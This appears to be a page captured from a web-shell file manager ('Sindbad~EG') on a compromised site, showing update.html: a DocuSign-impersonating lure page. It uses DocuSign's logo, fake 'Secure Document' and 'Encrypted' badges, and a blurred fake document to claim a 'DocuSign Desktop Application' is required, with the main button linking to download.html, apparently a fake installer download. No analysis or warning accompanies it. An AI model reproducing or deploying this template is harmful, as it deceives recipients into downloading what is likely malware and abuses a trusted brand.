Sindbad~EG File Manager

Current Path : /home/montenegroput/public_html/DocuSign/
Upload File :
Current File : /home/montenegroput/public_html/DocuSign/update.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Review & Download Document</title>

    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            margin: 0;
            font-family: "Segoe UI", -apple-system, BlinkMacSystemFont, Arial, sans-serif;
            background: linear-gradient(135deg, #f5f7fa 0%, #e9edf5 100%);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        .header {
            background: #ffffff;
            border-bottom: 1px solid #e8e8e8;
            padding: 14px 32px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            box-shadow: 0 1px 3px rgba(0,0,0,0.04);
        }

        .logo {
            display: flex;
            align-items: center;
        }

        .logo img {
            height: 28px;
            width: auto;
            display: block;
        }

        .secure-badge {
            display: flex;
            align-items: center;
            gap: 8px;
            font-size: 13px;
            font-weight: 500;
            color: #1a7d3a;
            background: #e8f5ee;
            padding: 6px 14px;
            border-radius: 20px;
        }

        .secure-badge .icon {
            font-size: 14px;
        }

        .container {
            max-width: 860px;
            margin: 48px auto;
            background: #fff;
            border-radius: 16px;
            box-shadow: 0 12px 40px rgba(0,0,0,0.08);
            padding: 40px 40px 36px;
            flex: 1;
        }

        .title-section {
            display: flex;
            align-items: flex-start;
            justify-content: space-between;
            gap: 20px;
            margin-bottom: 8px;
            flex-wrap: wrap;
        }

        .title {
            font-size: 24px;
            font-weight: 700;
            color: #1a1a2e;
            letter-spacing: -0.3px;
        }

        .status-tag {
            font-size: 12px;
            font-weight: 600;
            color: #1a7d3a;
            background: #e8f5ee;
            padding: 4px 14px;
            border-radius: 12px;
            white-space: nowrap;
        }

        .subtitle {
            font-size: 14px;
            color: #5f6368;
            margin-bottom: 28px;
            line-height: 1.5;
        }

        .subtitle strong {
            color: #1a1a2e;
            font-weight: 600;
        }

        .doc-preview {
            position: relative;
            border: 1px solid #e0e0e0;
            border-radius: 12px;
            height: 380px;
            overflow: hidden;
            margin-bottom: 28px;
            background: #fafbfc;
        }

        /* ---- Grid background (subtle blueprint feel) ---- */
        .doc-preview::before {
            content: "";
            position: absolute;
            inset: 0;
            background: 
                repeating-linear-gradient(
                    0deg,
                    transparent,
                    transparent 40px,
                    #f0f2f6 40px,
                    #f0f2f6 41px
                ),
                repeating-linear-gradient(
                    90deg,
                    transparent,
                    transparent 40px,
                    #f0f2f6 40px,
                    #f0f2f6 41px
                );
            z-index: 1;
        }

        .doc-preview::after {
            content: "";
            position: absolute;
            inset: 0;
            background: linear-gradient(135deg, rgba(20,115,230,0.03) 0%, rgba(20,115,230,0.06) 100%);
            z-index: 2;
        }

        /* ---- Blurred Document Layer ---- */
        .blurred-document {
            position: relative;
            z-index: 3;
            height: 100%;
            width: 100%;
            display: flex;
            flex-direction: column;
            padding: 28px 32px;
            gap: 8px;
            overflow: hidden;
            user-select: none;
            pointer-events: none;
        }

        .blurred-document .doc-header {
            display: flex;
            justify-content: space-between;
            align-items: flex-start;
            margin-bottom: 16px;
            flex-shrink: 0;
        }

        .blurred-document .doc-title-line {
            width: 55%;
            height: 22px;
            background: #cdd3de;
            border-radius: 4px;
        }

        .blurred-document .doc-badge-line {
            width: 18%;
            height: 20px;
            background: #d4dae3;
            border-radius: 10px;
        }

        .blurred-document .divider-line {
            width: 100%;
            height: 1px;
            background: #e0e4ea;
            margin: 4px 0 10px 0;
            flex-shrink: 0;
        }

        .blurred-document .field-row {
            display: flex;
            gap: 12px;
            align-items: center;
            flex-shrink: 0;
            margin-top: 2px;
        }

        .blurred-document .field-label {
            width: 80px;
            height: 12px;
            background: #d9dee6;
            border-radius: 3px;
            flex-shrink: 0;
        }

        .blurred-document .field-value {
            flex: 1;
            height: 14px;
            background: #e4e8ef;
            border-radius: 3px;
        }

        .blurred-document .field-value.short {
            max-width: 55%;
        }

        .blurred-document .field-value.med {
            max-width: 72%;
        }

        .blurred-document .signature-area {
            margin-top: auto;
            display: flex;
            justify-content: space-between;
            align-items: flex-end;
            padding-top: 12px;
            flex-shrink: 0;
        }

        .blurred-document .sig-line {
            width: 120px;
            height: 1px;
            background: #b8bfcc;
            margin-top: 4px;
        }

        .blurred-document .sig-label {
            width: 80px;
            height: 10px;
            background: #d9dee6;
            border-radius: 3px;
            margin-bottom: 4px;
        }

        /* ---- Blur Overlay / "Blur Shield" ---- */
        .blur-overlay {
            position: absolute;
            inset: 0;
            z-index: 5;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            padding: 20px;
            background: rgba(255, 255, 255, 0.15);
            backdrop-filter: blur(4px);
            -webkit-backdrop-filter: blur(3px);
        }

        .blur-overlay .preview-icon {
            width: 72px;
            height: 72px;
            background: #eef2fc;
            border-radius: 18px;
            display: flex;
            align-items: center;
            justify-content: center;
            margin-bottom: 20px;
            box-shadow: 0 2px 12px rgba(20,115,230,0.08);
            position: relative;
        }

        .blur-overlay .preview-icon svg {
            width: 36px;
            height: 36px;
            fill: none;
            stroke: #1473e6;
            stroke-width: 1.8;
            stroke-linecap: round;
            stroke-linejoin: round;
        }

        .blur-overlay .preview-label {
            font-size: 14px;
            color: #5f6368;
            margin-bottom: 16px;
            font-weight: 400;
        }

        .blur-overlay .preview-btn {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            padding: 10px 28px;
            border-radius: 8px;
            border: 1px solid #d0d5dd;
            background: #ffffff;
            font-size: 14px;
            font-weight: 500;
            color: #1a1a2e;
            cursor: pointer;
            transition: background 0.15s, border-color 0.15s, box-shadow 0.15s;
            box-shadow: 0 1px 3px rgba(0,0,0,0.04);
        }

        .blur-overlay .preview-btn:hover {
            background: #f5f7fa;
            border-color: #b3b9c4;
            box-shadow: 0 2px 8px rgba(0,0,0,0.06);
        }

        .blur-overlay .preview-btn:active {
            background: #e9ecf2;
            transform: translateY(1px);
        }

        .divider {
            height: 1px;
            background: #e8e8e8;
            margin: 0 0 28px 0;
        }

        .actions {
            display: flex;
            gap: 12px;
            justify-content: center;
            flex-wrap: wrap;
        }

        .btn {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            padding: 14px 32px;
            border-radius: 8px;
            border: none;
            font-weight: 600;
            font-size: 15px;
            cursor: pointer;
            transition: all 0.15s;
            text-decoration: none;
            line-height: 1;
        }

        .btn-primary {
            background: #1473e6;
            color: white;
            box-shadow: 0 2px 8px rgba(20,115,230,0.25);
        }

        .btn-primary:hover {
            background: #0d66d0;
            box-shadow: 0 4px 16px rgba(20,115,230,0.35);
            transform: translateY(-1px);
        }

        .btn-primary:active {
            background: #0a5bb8;
            transform: translateY(0);
            box-shadow: 0 1px 4px rgba(20,115,230,0.2);
        }

        .btn-secondary {
            background: #f2f4f8;
            color: #1a1a2e;
            border: 1px solid #d0d5dd;
        }

        .btn-secondary:hover {
            background: #e9ecf2;
            border-color: #b3b9c4;
            box-shadow: 0 2px 8px rgba(0,0,0,0.04);
        }

        .btn-secondary:active {
            background: #dfe2e9;
            transform: translateY(1px);
        }

        .btn .arrow {
            font-size: 18px;
            line-height: 1;
        }

        .footer {
            text-align: center;
            font-size: 13px;
            color: #9ca3af;
            margin-top: 32px;
            padding-top: 24px;
            border-top: 1px solid #f0f0f0;
        }

        .footer-lock {
            display: inline-block;
            margin-right: 6px;
        }

        /* Responsive */
        @media (max-width: 600px) {
            .container {
                margin: 16px;
                padding: 24px 20px;
                border-radius: 12px;
            }

            .header {
                padding: 12px 16px;
            }

            .title {
                font-size: 20px;
            }

            .doc-preview {
                height: 260px;
            }

            .blurred-document {
                padding: 16px 18px;
            }

            .btn {
                width: 100%;
                justify-content: center;
                padding: 14px 20px;
            }

            .actions {
                flex-direction: column;
            }
        }
    </style>
</head>
<body>

<div class="header">
    <div class="logo">
        <img src="https://brandlogos.net/wp-content/uploads/2024/04/docusign-logo_brandlogos.net_5wujv.png" alt="DocuSign">
    </div>
    <div class="secure-badge">
        <span class="icon">🔒</span>
        Secure Document
    </div>
</div>

<div class="container">
    <div class="title-section">
        <div class="title">Review Your Document</div>
        <span class="status-tag">Encrypted</span>
    </div>
    
    <div class="subtitle">
        This document has been <strong>secured and encrypted</strong> for your protection.
        DocuSign Desktop Application is required to view this document.
    </div>

    <div class="doc-preview">

        <!-- Blurred document content (visible underneath the blur shield) -->
        <div class="blurred-document">
            <div class="doc-header">
                <div class="doc-title-line"></div>
                <div class="doc-badge-line"></div>
            </div>
            <div class="divider-line"></div>

            <div class="field-row">
                <div class="field-label"></div>
                <div class="field-value med"></div>
            </div>
            <div class="field-row">
                <div class="field-label"></div>
                <div class="field-value"></div>
            </div>
            <div class="field-row">
                <div class="field-label"></div>
                <div class="field-value short"></div>
            </div>
            <div class="field-row">
                <div class="field-label"></div>
                <div class="field-value med"></div>
            </div>
            <div class="field-row">
                <div class="field-label"></div>
                <div class="field-value"></div>
            </div>

            <div class="divider-line" style="margin-top: 10px;"></div>

            <div class="signature-area">
                <div>
                    <div class="sig-label"></div>
                    <div class="sig-line"></div>
                </div>
                <div>
                    <div class="sig-label"></div>
                    <div class="sig-line"></div>
                </div>
            </div>
        </div>

        <!-- Blur overlay (glassmorphism shield on top) -->
        <div class="blur-overlay">
            <div class="preview-icon">
                <svg viewBox="0 0 32 32">
                    <path d="M4 16 L12 24 L28 8" stroke="currentColor" />
                </svg>
            </div>
            <div class="preview-label">Document preview unavailable</div>
            <button class="preview-btn" onclick="alert('DocuSign Desktop Application required to view document')">
                <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                    <path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/>
                    <circle cx="12" cy="12" r="3"/>
                </svg>
                View Document
            </button>
        </div>

    </div>

    <div class="divider"></div>

    <div class="actions">
        <a href="download.html" style="text-decoration: none;">
            <button class="btn btn-primary">
                Open with DocuSign Desktop
                <span class="arrow">→</span>
            </button>
        </a>

        <button class="btn btn-secondary" onclick="alert('DocuSign Desktop Application required to view document')">
            <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                <rect x="3" y="11" width="18" height="11" rx="2" ry="2"/>
                <path d="M7 11V7a5 5 0 0 1 10 0v4"/>
            </svg>
            Unlock &amp; View
        </button>
    </div>

    <div class="footer">
        <span class="footer-lock">🔒</span> 
        This is a secure document delivery page &mdash; all transmissions are encrypted.
    </div>
</div>

</body>
</html>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists